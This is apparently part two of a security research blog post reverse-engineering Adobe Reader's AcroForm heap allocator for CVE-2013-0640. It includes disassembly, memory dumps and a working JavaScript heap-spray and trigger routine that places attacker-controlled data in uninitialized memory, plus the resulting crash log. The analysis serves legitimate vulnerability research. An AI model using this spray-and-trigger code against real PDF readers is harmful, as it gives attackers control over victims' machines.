Research and Development

The purpose of this document is to present the second part of a technical report of the CVE-2013-0640 vulnerability targeting Adobe Reader version 9, 10 and 11. It was first spotted in February 2013 and has been used actively in the wild.

Warning: All function names in this article are purely fictional and were chosen based on what was understood during the reverse engineering. Even if it could resemble true names, it is most likely a coincidence. Obviously no pieces of code were harmed during the reverse engineering.

Binary Information

Name: AcroForm_api
Base address: 0×20800000
File version: 9.5.0.270
Default path: C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\AcroForm.api

Un-initialized memory vulnerability

As seen in the previous paper, the bug is due to un-initialized memory. In order to exploit this kind of vulnerability, one needs to control the content of the memory at the address of the future allocation. Hopefully the heap is deterministic. In order to understand this, we need to dive deep into AcroForm to see how blocks of memory are allocated.

AcroForm custom memory allocator

The buggy block that contains un-initialized data is allocated and used in the sub_209DE150() function. It allocates a block of 0x3c and initializes it as a node object.

.text:209DE150 sub_209DE150
.text:209DE150
.text:209DE150 var_34          = dword ptr -34h
.text:209DE150 var_30          = dword ptr -30h
.text:209DE150 var_2C          = dword ptr -2Ch
.text:209DE150 var_28          = dword ptr -28h
.text:209DE150 var_24          = dword ptr -24h
.text:209DE150 var_20          = dword ptr -20h
.text:209DE150 var_1C          = dword ptr -1Ch
.text:209DE150 var_18          = dword ptr -18h

...

.text:209DE2F4                 call    sub_20988A83
.text:209DE2F9                 lea     ecx, [ebp+arg_4]
.text:209DE2FC                 mov     byte ptr [ebp+var_4], 6
.text:209DE300                 call    sub_208A7FA1
.text:209DE305                 push    3Ch
.text:209DE307                 call    CustomMalloc
.text:209DE30C                 pop     ecx
.text:209DE30D                 mov     ecx, eax
.text:209DE30F                 mov     [ebp+arg_4], ecx
.text:209DE312                 cmp     ecx, edi
.text:209DE314                 mov     byte ptr [ebp+var_4], 8
.text:209DE318                 jz      short loc_209DE327
.text:209DE31A                 push    edi
.text:209DE31B                 lea     eax, [ebp+var_1C]
.text:209DE31E                 push    eax
.text:209DE31F                 push    edi
.text:209DE320                 call    InitializeBrokenNode
.text:209DE325                 mov     edi, eax

We can observe from the disassembled code that the function in charge of the allocation is specific to AcroForm. The CustomMalloc() function works by getting an object that represents the custom heap and returning an address of a block of the desired size: 0x3c in our case.

.text:2080B962 CustomMalloc
.text:2080B962
.text:2080B962 arg_0           = dword ptr  4
.text:2080B962
.text:2080B962                 push    [esp+arg_0]     ; size.
.text:2080B966                 push    0
.text:2080B968                 call    GetCustomHeapObject
.text:2080B96D                 pop     ecx
.text:2080B96E                 mov     ecx, eax
.text:2080B970                 call    DoCustomAllocation
.text:2080B975                 retn
.text:2080B975 CustomMalloc    endp

First a small check is performed in the DoCustomAllocation() function to ensure that the custom heap allocator is activated. Otherwise the malloc() function is called directly. Following this, it tries to find a memory pool that matches the desired size. This is achieved using the GetBlockFromMemoryPool() function that returns a memory pool for the size 0×48. Once done, the result of the UpdateMemoryPoolAndReturnAllocatedBlock() function is returned.

.text:2080B81E DoCustomAllocation
.text:2080B81E
.text:2080B81E var_14          = byte ptr -14h
.text:2080B81E arg_0           = dword ptr  8
.text:2080B81E
.text:2080B81E                 push    ebp
.text:2080B81F                 mov     ebp, esp
.text:2080B821                 sub     esp, 14h
.text:2080B824                 cmp     isCustomAllocator, 0   ; Is custom heap activated? Else use malloc.
.text:2080B82B                 jnz     short loc_2080B851     ; Jump is taken.
.text:2080B82D                 push    [ebp+arg_0]
.text:2080B830                 call    ds:malloc
.text:2080B836                 test    eax, eax
.text:2080B838                 pop     ecx
.text:2080B839                 jnz     short locret_2080B86A
.text:2080B83B                 lea     ecx, [ebp+var_14]
.text:2080B83E                 call    sub_20805C9A
.text:2080B843                 push    offset unk_20E0073C
.text:2080B848                 lea     eax, [ebp+var_14]
.text:2080B84B                 push    eax
.text:2080B84C                 call    _CxxThrowException
.text:2080B851
.text:2080B851 loc_2080B851:
.text:2080B851                 mov     eax, [ebp+arg_0]       ; Take the desired size.
.text:2080B854                 add     eax, eax
.text:2080B856                 push    eax
.text:2080B857                 lea     eax, [ebp+arg_0]
.text:2080B85A                 push    eax
.text:2080B85B                 call    GetBlockFromMemoryPool
.text:2080B860                 push    [ebp+arg_0]            ; Size 0x48.
.text:2080B863                 mov     ecx, eax
.text:2080B865                 call    UpdateMemoryPoolAndReturnAllocatedBlock
.text:2080B86A
.text:2080B86A locret_2080B86A:
.text:2080B86A                 leave
.text:2080B86B                 retn    4

The GetBlockFromMemoryPool() function works by first checking if the desired size is bigger than 0×100. Otherwise it looks into a freelist for a memory pool that fits. The freelist consists of an array of quartets of dwords. Although all sizes between 0 and 0×100 have their own entries in the freelist, some may share the same memory pool. This is the case for size 0x3c and size 0×48.

.text:2080B744 GetBlockFromMemoryPool
.text:2080B744
.text:2080B744 arg_0           = dword ptr  4
.text:2080B744 arg_4           = dword ptr  8
.text:2080B744
.text:2080B744                 push    ebx
.text:2080B745                 push    esi
.text:2080B746                 mov     ebx, ecx             ; ECX points to the custom heap object.
.text:2080B748                 mov     ecx, [esp+8+arg_0]
.text:2080B74C                 mov     esi, [ecx]           ; Desired size.
.text:2080B74E                 push    edi
.text:2080B74F                 mov     edi, 100h
.text:2080B754                 cmp     esi, edi
.text:2080B756                 jnb     short bigger_than_100_or_freelist_empty
.text:2080B758                 mov     eax, [ebx+esi*4+18h] ; Look at the freelist for blocks of size 0x3c.
.text:2080B75C                 test    eax, eax
.text:2080B75E                 jz      short bigger_than_100_or_freelist_empty
.text:2080B760                 mov     edx, [eax+4]         ; Get the real size of the block.
.text:2080B763                 mov     edx, [edx]
.text:2080B765                 mov     edx, [edx]           ; Here it is 0x48.
.text:2080B767                 mov     [ecx], edx
.text:2080B769                 jmp     short loc_2080B77F
.text:2080B76B
.text:2080B76B bigger_than_100_or_freelist_empty:
.text:2080B76B                 push    [esp+0Ch+arg_4]
.text:2080B76F                 push    ecx
.text:2080B770                 mov     ecx, ebx
.text:2080B772                 call    sub_2080B651
.text:2080B777                 cmp     esi, edi
.text:2080B779                 jnb     short loc_2080B77F
.text:2080B77B                 mov     [ebx+esi*4+18h], eax ; Update the freelist.
.text:2080B77F
.text:2080B77F loc_2080B77F:
.text:2080B77F                 mov     ecx, eax
.text:2080B781                 call    GetTheBlockOrAllocateANewPool
.text:2080B786                 pop     edi
.text:2080B787                 pop     esi
.text:2080B788                 pop     ebx
.text:2080B789                 retn    8
.text:2080B789 GetBlockFromMemoryPool endp

The memory pool sharing for size 0x3c and size 0×48 can be observed in the memory:

Quartet for freelist 0x3c.
02A7AAE0    02405648  HV@    --> Pool address.
02A7AAE4    00000000  ....
02A7AAE8    00000000  ....
02A7AAEC    00000000  ....

Quartet for freelist 0x48.
02A7AB10    02405648  HV@    --> Pool address.
02A7AB14    00000000  ....
02A7AB18    00000000  ....
02A7AB1C    00000000  ....

Once the correct memory pool is retrieved, the GetTheBlockOrAllocateANewPool() function is called. This function browses the memory pool for a free block. If the pool is not empty it takes the first available block and returns it.

.text:208D3D56 GetTheBlockOrAllocateANewPool
.text:208D3D56
.text:208D3D56 var_10          = dword ptr -10h
.text:208D3D56 var_4           = dword ptr -4
.text:208D3D56
.text:208D3D56                 push    4
.text:208D3D58                 mov     eax, offset sub_20D34DDF
.text:208D3D5D                 call    __EH_prolog3
.text:208D3D62                 mov     edi, ecx
.text:208D3D64                 mov     edx, [edi]
.text:208D3D66                 xor     esi, esi
.text:208D3D68                 xor     ecx, ecx
.text:208D3D6A                 test    edx, edx
.text:208D3D6C                 jbe     short loc_208D3D81
.text:208D3D6E                 mov     eax, [edi+4]

...

.text:208D3D71 loc_208D3D71:
.text:208D3D71                 mov     esi, [eax]
.text:208D3D73                 cmp     dword ptr [esi+20h], 0 ; If NULL, then the memory pool is empty.
.text:208D3D77                 jnz     short loc_208D3DAB

...

.text:208D3DAB loc_208D3DAB:
.text:208D3DAB                 test    ecx, ecx
.text:208D3DAD                 jbe     short loc_208D3DDC

...

.text:208D3DDC loc_208D3DDC:
.text:208D3DDC                 mov     eax, esi
.text:208D3DDE                 call    __EH_epilog3
.text:208D3DE3                 retn

Back to the DoCustomAllocation() function, the block is detached from the memory pool and the memory pool’s header is updated using the UpdateMemoryPoolAndReturnAllocatedBlock() function.

.text:208D3B6E UpdateMemoryPoolAndReturnAllocatedBlock
.text:208D3B6E
.text:208D3B6E                 mov     eax, [ecx+20h]
.text:208D3B71                 mov     edx, [eax]          ; Next block.
.text:208D3B73                 mov     [ecx+20h], edx      ; Attach the next block in the list.
.text:208D3B76                 mov     [eax], ecx          ; Mark the current block with a pointer to the info header.
.text:208D3B78                 inc     dword ptr [ecx+1Ch] ; Increment reference counter to the block.
.text:208D3B7B                 add     eax, 4              ; Return the actual address of the newly allocated block.
.text:208D3B7E                 retn    4

The address of the newly allocated block is returned and eventually the CustomMalloc() function returns its address. It is ready to be used.

This completes the allocation of a new block when the memory pool contains free blocks. Otherwise a new one needs to be allocated. This can be achieved using the GetTheBlockOrAllocateANewPool() function. The pointer at ESI+0×20 is NULL and ultimately the DoPoolAllocation() function is called.

.text:208D3D56 GetTheBlockOrAllocateANewPool
.text:208D3D56
.text:208D3D56 var_10          = dword ptr -10h
.text:208D3D56 var_4           = dword ptr -4
.text:208D3D56
.text:208D3D56                 push    4
.text:208D3D58                 mov     eax, offset sub_20D34DDF
.text:208D3D5D                 call    __EH_prolog3

...

.text:208D3D71 loc_208D3D71:
.text:208D3D71                 mov     esi, [eax]
.text:208D3D73                 cmp     dword ptr [esi+20h], 0 ; If NULL, then the memory pool is empty.
.text:208D3D77                 jnz     short loc_208D3DAB
.text:208D3D79                 inc     ecx
.text:208D3D7A                 add     eax, 4
.text:208D3D7D                 cmp     ecx, edx
.text:208D3D7F                 jb      short loc_208D3D71

.text:208D3D81 loc_208D3D81:
.text:208D3D81                 push    28h
.text:208D3D83                 call    ??2@YAPAXI@Z           ; operator new(uint).
.text:208D3D88                 pop     ecx
.text:208D3D89                 mov     [ebp+var_10], eax
.text:208D3D8C                 and     [ebp+var_4], 0
.text:208D3D90                 test    eax, eax
.text:208D3D92                 jz      short loc_208D3DB7
.text:208D3D94                 mov     eax, [esi+4]
.text:208D3D97                 mov     ecx, [esi]
.text:208D3D99                 mov     esi, [esi+24h]
.text:208D3D9C                 push    eax
.text:208D3D9D                 push    ecx
.text:208D3D9E                 mov     ecx, [ebp+var_10]
.text:208D3DA1                 push    esi
.text:208D3DA2                 call    DoPoolAllocation
.text:208D3DA7                 mov     esi, eax
.text:208D3DA9                 jmp     short loc_208D3DB9

The DoPoolAllocation() function calls the AllocatePool() function.

.text:208D3C90 DoPoolAllocation
.text:208D3C90
.text:208D3C90 var_10          = dword ptr -10h
.text:208D3C90 var_4           = dword ptr -4
.text:208D3C90 arg_0           = dword ptr  8
.text:208D3C90 arg_4           = dword ptr  0Ch
.text:208D3C90 arg_8           = dword ptr  10h
.text:208D3C90
.text:208D3C90                 push    4
.text:208D3C92                 mov     eax, offset sub_20CE1F10
.text:208D3C97                 call    __EH_prolog3
.text:208D3C9C                 mov     esi, ecx
.text:208D3C9E                 mov     [ebp+var_10], esi
.text:208D3CA1                 mov     eax, [ebp+arg_4]
.text:208D3CA4                 mov     [esi], eax
.text:208D3CA6                 mov     eax, [ebp+arg_8]
.text:208D3CA9                 lea     ecx, [esi+8]
.text:208D3CAC                 mov     [esi+4], eax
.text:208D3CAF                 call    sub_20A0A893
.text:208D3CB4                 xor     eax, eax
.text:208D3CB6                 mov     [ebp+var_4], eax
.text:208D3CB9                 mov     [esi+1Ch], eax
.text:208D3CBC                 mov     [esi+20h], eax
.text:208D3CBF                 mov     eax, [ebp+arg_0]
.text:208D3CC2                 mov     ecx, esi
.text:208D3CC4                 mov     [esi+24h], eax
.text:208D3CC7                 mov     dword ptr [esi+18h], 10h
.text:208D3CCE                 call    AllocatePool
.text:208D3CD3                 mov     eax, esi
.text:208D3CD5                 call    __EH_epilog3
.text:208D3CDA                 retn    0Ch

The AllocatePool() function performs the actual task. A new memory pool is allocated using the standard malloc() function from the MSVCR80 module. Its size is computed the following way:

  • Rounds 0×48 to 0x4c and allocates for 0x2b7 items: 0x4c * 0x2b7 = 0xce54 bytes
.text:208D3BF4 AllocatePool
.text:208D3BF4
.text:208D3BF4 var_18          = byte ptr -18h
.text:208D3BF4 var_4           = dword ptr -4
.text:208D3BF4
.text:208D3BF4                 push    ebp
.text:208D3BF5                 mov     ebp, esp
.text:208D3BF7                 sub     esp, 18h
.text:208D3BFA                 push    esi
.text:208D3BFB                 mov     esi, ecx
.text:208D3BFD                 mov     eax, [esi]       ; Desired block size for the memory pool: 0x48.
.text:208D3BFF                 mov     ecx, [esi+4]     ; 0x2B7.
.text:208D3C02                 add     eax, 3
.text:208D3C05                 shr     eax, 2
.text:208D3C08                 lea     eax, ds:4[eax*4] ; 0x4C.
.text:208D3C0F                 imul    eax, ecx         ; 0xCE54.
.text:208D3C12                 push    edi
.text:208D3C13                 push    eax
.text:208D3C14                 call    ds:malloc
.text:208D3C1A                 mov     edi, eax
.text:208D3C1C                 test    edi, edi
.text:208D3C1E                 pop     ecx

TMTOWTDI

As always, when it comes to exploit a vulnerability, there is more than one way to do it. This one is no exception:

  • Using the custom allocator
  • Using the complete pool coming from malloc()

In both ways, the idea is to allocate a fair amount of blocks of the targeted size and fill them with controlled data, then to free some of them and
trigger the final allocation. Because the memory in un-initialized, its content is going to be the content of the previously allocated data at this location, our data.

The first method would be to use the custom allocator. This involves searching for all calls to the CustomMalloc() function and find one that can both allocate data between 0x3c to 0×48 bytes large and which value can be set at offset 0x3c. This is quite boring and time-consuming. On the other hand, it is a good opportunity to find more bugs.

The second method is to use directly the malloc() function and spray the memory with blocks of 0xce54 bytes containing the value we want to set at 0x3c, then to free half of them. Subsequently, we need to allocate a few nodes to force the custom allocator to create a new memory pool for size 0×48. Luckily it will use a spot we just freed.

Initializing the un-initialized

The JavaScript engine (the EScript_api module) uses malloc() to allocate strings. It can be used to allocate 3000 strings of 0xce54 bytes and then to free half of them, leaving holes of targeted size. A short spray of nodes is needed to force the allocator to create a new memory pool that will just fit the newly created hole.

function UninitializedMemorySpray()
{
	var size = 0xce54;
	var spray = [];
	var block = BuildBlock(dword(0x42424242), size);
	for (var i = 0; i < 3000; i++)
	{
		spray.push(block.substring(0, block.length-2) + dword(i));
	}

	/* Free half of the blocks. */
	for (var i = 0 ; i < spray.length ; i++)
	{
		if ((i % 2) == 0)
		{
			spray[i] = dword(i);
			delete spray[i];
		}
	}

	return spray;
}

function Trigger()
{
	var spray = UninitializedMemorySpray();

	/* Create new nodes to force the creation of a new pool. */
	for (var i=0 ; i < 500 ; i++)
	{
		xfa.template.createNode("contentArea", "A");
	}

    /* Trigger the bug. */
	xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui").oneOfChild = choiceList;
}

Back to the sub_209DE150() function, we have seen that it allocates 0x3c bytes using the custom allocator and then initializes the memory as a new node.

.text:209D8D71 InitializeBrokenNode
.text:209D8D71
.text:209D8D71 arg_0           = dword ptr  4
.text:209D8D71 arg_4           = dword ptr  8
.text:209D8D71 arg_8           = dword ptr  0Ch
.text:209D8D71
.text:209D8D71                 push    esi
.text:209D8D72                 push    [esp+4+arg_0]
.text:209D8D76                 mov     esi, ecx
.text:209D8D78                 call    FirstTouchAllocationHere
.text:209D8D7D                 mov     ecx, [esp+4+arg_4]
.text:209D8D81                 mov     dword ptr [esi], offset broken_object
.text:209D8D87                 mov     eax, [ecx]
.text:209D8D89                 xor     edx, edx
.text:209D8D8B                 cmp     eax, edx
.text:209D8D8D                 mov     [esi+24h], eax
.text:209D8D90                 jz      short loc_209D8D95
.text:209D8D92                 inc     dword ptr [eax+4]
.text:209D8D95
.text:209D8D95 loc_209D8D95:
.text:209D8D95                 mov     eax, [esp+4+arg_8]
.text:209D8D99                 mov     [esi+2Ch], eax
.text:209D8D9C                 mov     [esi+30h], edx
.text:209D8D9F                 mov     [esi+34h], edx
.text:209D8DA2                 mov     [esi+38h], edx
.text:209D8DA5                 mov     eax, off_20E93D74 ; Pointer to ascii "node".
.text:209D8DAA                 and     dword ptr [esi+28h], 0FFFFFFF0h
.text:209D8DAE                 mov     [esi+0Ch], eax
.text:209D8DB1                 mov     dword ptr [esi+10h], 0C9h
.text:209D8DB8                 mov     ecx, [ecx]
.text:209D8DBA                 cmp     ecx, edx

After the function returns, we can check the memory at the broken object and the value at offset 0x3c is indeed the expected 0×42424242.

$ ==>       20D7F824  $ø×
$+4         00000000  ....
$+8         00000000  ....
$+C         20E93D64  d=é      ; PTR to ASCII "node"
$+10        000000C9  É...
$+14        42424242  BBBB
$+18        42424252  RBBB
$+1C        00000000  ....
$+20        00000000  ....
$+24        0E026D50  Pm
$+28        42424240  @BBB
$+2C        00000000  ....
$+30        00000000  ....
$+34        00000000  ....
$+38        00000000  ....
$+3C        42424242  BBBB
$+40        42424242  BBBB
$+44        42424242  BBBB
$+48        0E026E30  0n
$+4C        42424242  BBBB

If we let Adobe Reader continue, it crashes with the controlled 0×42424242 value. Mission achieved!

(b70.2a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f428 ebx=0360807c ecx=42424242 edx=00000000 esi=0ea23948 edi=42424242
eip=209063b8 esp=0012f3e8 ebp=0012f418 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
209063b8 8b7740          mov     esi,dword ptr [edi+40h] ds:0023:42424282=????????

Conclusion

The full reversing of the AcroForm allocation function was in fact not entirely required. Indeed the size of a memory pool could just be found by setting page heap and heap tagging using gflags. However, reversing the allocator is never a waste of time. It gives a good insight of the internals of the application and good ideas on how to abuse it in order to exploit heap overflows or produce a memory leak. It is also a good way of finding new bugs.

This concludes the second part. We have seen how to control the un-initialized data. We are ready to leverage the bug into a code execution vulnerability.

References


Request to be added to the Portcullis Labs newsletter

We will email you whenever a new tool, or post is added to the site.

Your Name (required)

Your Email (required)